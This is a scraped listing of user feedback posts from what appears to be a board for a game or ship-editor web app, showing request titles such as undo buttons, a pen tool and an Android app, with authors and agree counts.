  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  477 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree